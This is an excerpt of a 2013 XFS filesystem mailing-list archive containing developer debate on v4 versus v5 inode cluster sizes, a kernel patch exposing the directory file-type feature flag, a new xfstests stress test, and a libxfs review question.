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 ------=_NextPart_000_1F1E_01CEB39C.8E256AD0-- From tinguely@sgi.com Tue Sep 17 08:51:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9005E7F50 for ; Tue, 17 Sep 2013 08:51:12 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4EA0A304048; Tue, 17 Sep 2013 06:51:09 -0700 (PDT) Message-ID: <52385E4D.4040007@sgi.com> Date: Tue, 17 Sep 2013 08:51:09 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> <20130911162159.GA29319@infradead.org> <20130917010449.GH19103@dastard> In-Reply-To: <20130917010449.GH19103@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/16/13 20:04, Dave Chinner wrote: > On Wed, Sep 11, 2013 at 09:21:59AM -0700, Christoph Hellwig wrote: >> On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: >>> The test matrix of having to test everything on v4 and v5 is just >>> nasty, especially if we are talking about prototyping code. I'd much >>> prefer to bring things to v5 filesytsems where we have much lower >>> exposure and risk of corruption problems, and then when we know it's >>> solid because of the QA we've done on it, then we can expose the >>> majority of the XFS userbase to it by bringing it back to v4 >>> filesystems. >> >> I think the test matrix is a reason for not enabling this only on v5 >> filesystems. > > You're assuming that someone is doing lots of QA on v4 filesystems. > Most of my attention is focussed on v5 filesystems and compared to > the amount of v5 QA I'm doing, there is very little v4 QA. All my > development and prototyping is being done on v5 filesystems, and the > code I post indicates that. > > I'm not about to propose new features for v4 filesystems if I > haven't tested them robustly. And, in many cases, the new features > I'm proposing require a new filesystem to be made (like this one > does because of the inode alignment requirement) and userspace tool > support, and so it's going to be months (maybe a year) before > userspace support is in the hands of distro-based users. > > People testing v5 filesystems right now are handrolling their > userspace code, and so they are following the bleeding edge of both > user and kernel space development. They are not using the bleeding > edge to test new v4 filesystem features. > > Given this, it makes sense to roll the v5 code first, then a > kernel release or 2 later roll in the v4 support once the v5 code > has been exposed and we've flushed out the problems. It minimises > our exposure to filesystem corruption issues, it gets the code into > the hands of early adopters and testers quickly, and it gets rolled > back into v4 filesystems in the same timeframe as distros will be > picking up the feature in v5 filesystems for the first time. > > Nobody has yet given a technical reason why such a careful, staged > approach to new feature rollout for v4 filesystems is untenable. All > I'm hearing is people shouting at me for not bringing new features > to v4 filesystems. Indeed, my reasons and plans to bring the > features to v4 in the near future are being completely ignored to > the point of recklessness... > >> Large inodes are an old and supported use case, although >> probably not as heavily tested as it should. By introducing two >> different large inode cases we don't really help increasing test >> coverage for a code path that is the same for v4 and v5. > > I think you've got it wrong - 512 byte inodes have not been > regularly or heavily tested until we introduced v5 filesystems. Now > they are getting tested all the time on v5 filesystems, but AFAICT > there's only one person other than me regularly testing v5 > filesystems and reporting bugs (Michael Semon). Hence, AFAICT there > is very little ongoing test coverage of large inodes on v4 > filesystems, and so the expansion of the test matrix to cover large > inodes on v4 filesystem is a very relevant concern. > > We will be enabling both d_type and large inode clusters on v5 > filesystems at all times - they won't be optional features. Hence > test matrix is simple - enable v5, all new features are enabled and > are tested. > > However, for v4 filesystems, we've now got default v4, v4 X dtype, > v4 X dtype X 512 byte inodes, v4 X dtype X 512 byte inodes X inode > alignment (i.e. forwards and backwards compatibility of large inode > cluster configs on old 8k cluster kernels) and finally v4 X dtype X > 512 byte inodes X inode alignment X large clusters. > > IOWs, every change we make for v4 filesystems adds another > *optional* dimension to the v4 filesystem test matrix. Such an > explosion of feature configurations is not sustainable or > maintainable - ext4 has proven that beyond a doubt. We have to > consider the cross multiplication of the optional v4 feature matrix, > and consider that everything needs to work correctly for all the > different combinations that can be made. > > So, code paths might be shared between v4 and v5 filesystems, but we > don't have an optional feature matrix on v5 (yet), nor do we have > concerns about backwards and forwards compatibility, and so adding > new features to v5 filesystems has a far, far lower testing and QA > burden than adding a new feature to a v4 filesystem. > > As I've repeatedly said, if someone wants to do all the v4 > validation work I've mentioned above faster than I can do it, then > they can provide the patches for the v4 support in kernel and > userspace and all the tests needed to validate it on v4 filesystems. > > [ And even then, the v4 dtype fiasco shows that some people have a > major misunderstanding of what is necessary to enable a feature on a > v4 filesystem. I'm still waiting for all the missing bits I > mentioned in my review of the patch to add the feature bit that were > ignored. e.g. the XFS_IOC_FSGEOM support for the feature bit, the > changes to xfs_info to emit that it's enabled, mkfs to emit that > it's enabled, xfs_db support for the field on v4 filesystems, etc. > > IOWs, there is still a significant amount missing from the v4 dtype > support and so, again, I have little confidence that such things > will get done properly until I get around to doing them. I'll be be > pleasently surprised if the patches appear before I write them (the > kernel XFS_IOC_FSGEOM support needs to be in before 3.12 releases), > but I fear that I'm going to be forced to write them soon.... ] > >> That being said as long as you're still prototyping I'm not going to >> interfere. > > Until I see other people pro-actively fixing regressions, I don't > see that there is any scope for changing my approach. Right now the > only person I can really rely on to proactively fix problems is > myself, and I have limited time and resources... > > Cheers, > > Dave. We are *not* screaming for this on v4. Not screaming for this to be mandatory on v5. It will make inode allocation more difficult as the drive fragments. --Mark. From sandeen@sandeen.net Tue Sep 17 09:46:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C9D917F50 for ; Tue, 17 Sep 2013 09:46:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 47EE4AC003 for ; Tue, 17 Sep 2013 07:46:19 -0700 (PDT) X-ASG-Debug-ID: 1379429177-04cb6c37772960e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id LlHKCTDvkeQbTQk1 for ; Tue, 17 Sep 2013 07:46:17 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0D5566052408; Tue, 17 Sep 2013 09:46:16 -0500 (CDT) Message-ID: <52386B37.4060108@sandeen.net> Date: Tue, 17 Sep 2013 09:46:15 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> <20130911162159.GA29319@infradead.org> <20130917010449.GH19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems In-Reply-To: <20130917010449.GH19103@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379429177 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140694 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/16/13 8:04 PM, Dave Chinner wrote: > On Wed, Sep 11, 2013 at 09:21:59AM -0700, Christoph Hellwig wrote: >> On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: >>> The test matrix of having to test everything on v4 and v5 is just >>> nasty, especially if we are talking about prototyping code. I'd much >>> prefer to bring things to v5 filesytsems where we have much lower >>> exposure and risk of corruption problems, and then when we know it's >>> solid because of the QA we've done on it, then we can expose the >>> majority of the XFS userbase to it by bringing it back to v4 >>> filesystems. >> >> I think the test matrix is a reason for not enabling this only on v5 >> filesystems. > > You're assuming that someone is doing lots of QA on v4 filesystems. > Most of my attention is focussed on v5 filesystems and compared to > the amount of v5 QA I'm doing, there is very little v4 QA. All my > development and prototyping is being done on v5 filesystems, and the > code I post indicates that. Red Hat QE is doing quite a lot of testing of V4 at this point, although not on totally bleeding-edge kernels. > I'm not about to propose new features for v4 filesystems if I > haven't tested them robustly. And, in many cases, the new features > I'm proposing require a new filesystem to be made (like this one > does because of the inode alignment requirement) and userspace tool > support, and so it's going to be months (maybe a year) before > userspace support is in the hands of distro-based users. > > People testing v5 filesystems right now are handrolling their > userspace code, and so they are following the bleeding edge of both > user and kernel space development. They are not using the bleeding > edge to test new v4 filesystem features. > > Given this, it makes sense to roll the v5 code first, then a > kernel release or 2 later roll in the v4 support once the v5 code > has been exposed and we've flushed out the problems. It minimises > our exposure to filesystem corruption issues, it gets the code into > the hands of early adopters and testers quickly, and it gets rolled > back into v4 filesystems in the same timeframe as distros will be > picking up the feature in v5 filesystems for the first time. > > Nobody has yet given a technical reason why such a careful, staged > approach to new feature rollout for v4 filesystems is untenable. All > I'm hearing is people shouting at me for not bringing new features > to v4 filesystems. Indeed, my reasons and plans to bring the > features to v4 in the near future are being completely ignored to > the point of recklessness... That sounds perfectly reasonable to me; from your original RFC it wasn't clear to me that that was the plan (stage it & roll it out for V4 later). >> Large inodes are an old and supported use case, although >> probably not as heavily tested as it should. By introducing two >> different large inode cases we don't really help increasing test >> coverage for a code path that is the same for v4 and v5. > > I think you've got it wrong - 512 byte inodes have not been > regularly or heavily tested until we introduced v5 filesystems. Gluster users have been advised to use 512-byte inodes for quite some time, actually. (http://www.gluster.org/community/documentation/index.php/QuickStart) So there is some real-world coverage, and presumably QE as well. I understand your valid concerns (snipped below as well) but let's not overstate the case either; V4 and 512-byte are both seeing some coverage even today. -Eric From tinguely@eagdhcp-232-140.americas.sgi.com Tue Sep 17 09:48:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DEA07F52 for ; Tue, 17 Sep 2013 09:48:36 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0ED6D8F8065 for ; Tue, 17 Sep 2013 07:48:35 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8HEmZmM002782 for ; Tue, 17 Sep 2013 09:48:35 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8HEmZx4002781; Tue, 17 Sep 2013 09:48:35 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130917144733.819109222@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 17 Sep 2013 09:47:22 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs: add the inode directory type support to XFS_IOC_FSGEOM References: <20130917144721.917667018@sgi.com> Content-Disposition: inline; filename=xfs-add-ftype-geo.patch Signed-off-by: Mark Tinguely --- fs/xfs/xfs_fs.h | 32 ++++++++++++++++---------------- fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 19 insertions(+), 17 deletions(-) Index: b/fs/xfs/xfs_fs.h =================================================================== --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -222,22 +222,22 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_VERSION 0 -#define XFS_FSOP_GEOM_FLAGS_ATTR 0x0001 /* attributes in use */ -#define XFS_FSOP_GEOM_FLAGS_NLINK 0x0002 /* 32-bit nlink values */ -#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x0004 /* quotas enabled */ -#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x0008 /* inode alignment */ -#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x0010 /* large data alignment */ -#define XFS_FSOP_GEOM_FLAGS_SHARED 0x0020 /* read-only shared */ -#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x0040 /* special extent flag */ -#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x0080 /* directory version 2 */ -#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x0100 /* log format version 2 */ -#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x0200 /* sector sizes >1BB */ -#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x0400 /* inline attributes rework */ -#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x0800 /* 32-bit project IDs */ -#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x1000 /* ASCII only CI names */ -#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ -#define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ - +#define XFS_FSOP_GEOM_FLAGS_ATTR 0x00001 /* attributes in use */ +#define XFS_FSOP_GEOM_FLAGS_NLINK 0x00002 /* 32-bit nlink values */ +#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x00004 /* quotas enabled */ +#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x00008 /* inode alignment */ +#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x00010 /* large data alignment */ +#define XFS_FSOP_GEOM_FLAGS_SHARED 0x00020 /* read-only shared */ +#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x00040 /* special extent flag */ +#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x00080 /* directory version 2 */ +#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x00100 /* log format version 2 */ +#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x00200 /* sector sizes >1BB */ +#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x00400 /* inline attributes rework */ +#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x00800 /* 32-bit project IDs */ +#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x01000 /* ASCII only CI names */ +#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x04000 /* lazy superblock counters */ +#define XFS_FSOP_GEOM_FLAGS_V5SB 0x08000 /* version 5 superblock */ +#define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ /* * Minimum and maximum sizes need for growth checks. Index: b/fs/xfs/xfs_fsops.c =================================================================== --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -101,7 +101,9 @@ xfs_fs_geometry( (xfs_sb_version_hasprojid32bit(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_PROJID32 : 0) | (xfs_sb_version_hascrc(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_V5SB : 0); + XFS_FSOP_GEOM_FLAGS_V5SB : 0) | + (xfs_sb_version_hasftype(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_FTYPE : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; From tinguely@eagdhcp-232-140.americas.sgi.com Tue Sep 17 10:01:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 44A827F52 for ; Tue, 17 Sep 2013 10:01:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay3.corp.sgi.com (Postfix) with ESMTP id CC81CAC003 for ; Tue, 17 Sep 2013 08:01:16 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8HF1G3e003212 for ; Tue, 17 Sep 2013 10:01:16 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8HF1GYJ003211; Tue, 17 Sep 2013 10:01:16 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130917145959.333796933@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 17 Sep 2013 09:59:47 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> Content-Disposition: inline; filename=xfstests-fill-directory.patch This tests triggers an assert in the XFS directory unbalance code. This test originally written by Brian Foster and suggestions from Micheal Semon. Signed-off-by: Mark Tinguely --- tests/generic/319 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/319.out | 2 + tests/generic/group | 1 3 files changed, 65 insertions(+) Index: b/tests/generic/319 =================================================================== --- /dev/null +++ b/tests/generic/319 @@ -0,0 +1,62 @@ +#! /bin/bash +# FS QA Test No. 319 +# +# Test directory code correctly handles fsstress filling the filesystem +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +_require_scratch + +# real QA test starts here + +_supported_fs generic +_supported_os IRIX Linux + +_scratch_unmount > /dev/null 2>&1 +_scratch_mkfs_sized 11g >> $seqres.full 2>&1 +_scratch_mount > /dev/null 2>&1 + +# Fill the filesystem. +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 + +cd $SCRATCH_MNT >> $seqres.full 2>&1 +sync +# A debug XFS may assert in the remove due to a directory bug. +rm -rf * +echo "--- silence is golden ---" +status=0 +exit Index: b/tests/generic/319.out =================================================================== --- /dev/null +++ b/tests/generic/319.out @@ -0,0 +1,2 @@ +QA output created by 319 +--- silence is golden --- Index: b/tests/generic/group =================================================================== --- a/tests/generic/group +++ b/tests/generic/group @@ -121,3 +121,4 @@ 316 auto quick 317 auto metadata quick 318 acl attr auto quick +319 stress From sandeen@sandeen.net Tue Sep 17 10:14:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D1E77F54 for ; Tue, 17 Sep 2013 10:14:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C158FAC004 for ; Tue, 17 Sep 2013 08:14:13 -0700 (PDT) X-ASG-Debug-ID: 1379430852-04cbb02c3b10f4e00001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BruiHSiRD0nTfCyh for ; Tue, 17 Sep 2013 08:14:12 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9C9DD6052408; Tue, 17 Sep 2013 10:14:11 -0500 (CDT) Message-ID: <523871C2.5010704@sandeen.net> Date: Tue, 17 Sep 2013 10:14:10 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-11-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences In-Reply-To: <1378332359-14737-11-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379430852 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/4/13 5:05 PM, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- > libxfs/xfs_dir2.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ > libxfs/xfs_dir2_data.c | 20 ++++++++++---------- > libxfs/xfs_dir2_leaf.c | 4 ++-- > libxfs/xfs_dir2_node.c | 26 ++++++++++++-------------- > 4 files changed, 69 insertions(+), 26 deletions(-) > > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > index 6a4027f..830fe3e 100644 > --- a/libxfs/xfs_dir2.c > +++ b/libxfs/xfs_dir2.c > @@ -392,6 +392,51 @@ xfs_dir_replace( > } > > /* > + * See if this entry can be added to the directory without allocating space. > + * First checks that the caller couldn't reserve enough space (resblks = 0). > + */ > +int > +xfs_dir_canenter( Retroactive, post-merge question. :) This function isn't used in userspace, AFAICT. What's the intended libxfs philosophy - keep files as identical to kernelspace as possible, used code or not, or remove things which aren't used in userspace? Thanks, -Eric > + xfs_trans_t *tp, > + xfs_inode_t *dp, > + struct xfs_name *name, /* name of entry to add */ > + uint resblks) > +{ > + xfs_da_args_t args; > + int rval; > + int v; /* type-checking value */ > + > + if (resblks) > + return 0; > + > + ASSERT(S_ISDIR(dp->i_d.di_mode)); > + > + memset(&args, 0, sizeof(xfs_da_args_t)); > + args.name = name->name; > + args.namelen = name->len; > + args.hashval = dp->i_mount->m_dirnameops->hashname(name); > + args.dp = dp; > + args.whichfork = XFS_DATA_FORK; > + args.trans = tp; > + args.op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | > + XFS_DA_OP_OKNOENT; > + > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > + rval = xfs_dir2_sf_addname(&args); > + else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + return rval; > + else if (v) > + rval = xfs_dir2_block_addname(&args); > + else if ((rval = xfs_dir2_isleaf(tp, dp, 